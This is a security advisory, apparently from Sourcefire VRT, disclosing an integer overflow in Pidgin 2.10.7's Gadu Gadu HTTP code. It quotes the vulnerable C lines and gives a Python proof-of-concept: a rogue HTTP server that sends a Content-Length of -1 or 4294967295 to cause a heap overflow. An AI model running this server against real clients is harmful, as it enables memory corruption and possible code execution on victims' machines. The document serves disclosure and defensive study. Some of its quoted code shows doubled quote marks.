Talos Vulnerability Report

VRT-2013-1001

Pidgin libpurple Gadu Gadu HTTP Content-Length Integer Overflow Vulnerability

Jan 26, 2014

Description

An exploitable remote code execution vulnerability exists in Pidgin''s implementation of the Gadu Gadu protocol in the libpurple library. An attacker who can control the content-length of a HTTP request can cause an undersized allocation which can later be used to overflow into the heap. An attack requires the ability to spoof messages from the gadu-gadu.pl domain to exploit this vulnerability.

Tested Versions

Pidgin 2.10.7

Product URLs

http://www.pidgin.im/

Details

In gghttpwatch_fd() in file pidgin-2.10.7\libpurple\protocols\gg\lib\http.c at line 353 content-length will be read from the HTTP server:

353     while (line) {
        354         if (!strncasecmp(line, "Content-length: ", 16)) {
        355             h->body_size = atoi(line + 16);
        356         }
        357         line = strchr(line, ''\n'');
        358         if (line)
        359             line++;
        360     }
        

It then checks if h->bodysize is less than or equal to 0, however h->body_size is an unsigned int so a negative value will return a large positive size, meaning the check for less than zero will never be true:

362     if (h->body_size <= 0) {
        363         gg_debug(GG_DEBUG_MISC, "=> http, content-length not found\n");
        364         h->body_size = left;
        365     }
        

This check will also pass because left will not be larger than a negative body_size:

367     if (left > h->body_size) {
        368         gg_debug(GG_DEBUG_MISC, "=> http, oversized reply (%d bytes needed, %d bytes left)\n", h->body_size, left);
        369         h->body_size = left;
        370     }
        

If h->body_size is 4294967295 (or -1) then the below will result in a malloc(0):

374     if (!(h->body = malloc(h->body_size + 1))) {
        

Finally we reach our out of bounds write into the heap here:

381     if (left) {
        382         memcpy(h->body, tmp + sep_len, left);
        383         h->body_done = left;
        384     }
        

The client will keep copying data as long as there''s data in the http response body and will then free the original heap chunk.

Proof of Concept

The following python code will trigger the vulnerability by supplying an overly large content-length value. We used DNS redirection on register.gadu-gadu.pl and had this listening for a password change request.

    import socket
            import struct
            import httplib
            import BaseHTTPServer

            PORT_NUMBER = 80

            class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
                def do_HEAD(s):
                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                def do_GET(s):
                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.send_header("Content-Length", "4294967295")
                    s.end_headers()
                    s.wfile.write("A"*1024)
                def do_POST(s):
                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.send_header("Content-Length", "-1")
                    s.end_headers()
                    #s.wfile.write("A"*8192)
                    s.wfile.write("A"*8192)

            if __name__ == "__main__":
                server_class = BaseHTTPServer.HTTPServer
                server_addr = ('''', 80)
                httpd = server_class(server_addr, MyHandler)
                print "Server up"
                try:
                    httpd.serve_forever()
                except KeyboardInterrupt:
                    pass
                httpd.server_close()
                print "Server stopped"
        

Credit

Discovered by Sourcefire VRT